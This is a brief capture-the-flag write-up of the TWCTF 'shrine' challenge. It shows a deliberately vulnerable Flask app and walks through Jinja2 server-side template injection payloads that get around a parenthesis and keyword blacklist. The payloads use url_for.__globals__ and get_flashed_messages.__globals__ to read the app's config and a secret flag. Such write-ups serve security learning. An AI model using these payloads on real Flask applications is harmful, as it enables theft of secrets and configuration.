shrine

进页面就有这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

1. If I can use config

1
GET /shrine/{{config}}

2. If I can use self

{{self}} ⇒

1
{{self.__dict__}}

. Also, there are many things that can be used.

url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config

3. If I can use ( and )

1
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}

【method 1.Discover current_app in url_for 】

1
{{url_for}}

↓

1
<function url_for at 0x7f5cc8cd1f28>
1
{{url_for.__globals__}}

【method 2.Discover current_app in get_flashed_messages 】

1
{{get_flashed_messages}}

↓

``

1
{{get_flashed_messages.__globals__}}

【exploit】

1
GET /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

or

1
GET /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

↓

1
TWCTF{pray_f0r_sacred_jinja2}

https://ctftime.org/writeup/10895

https://www.colabug.com/2018/0908/4435040/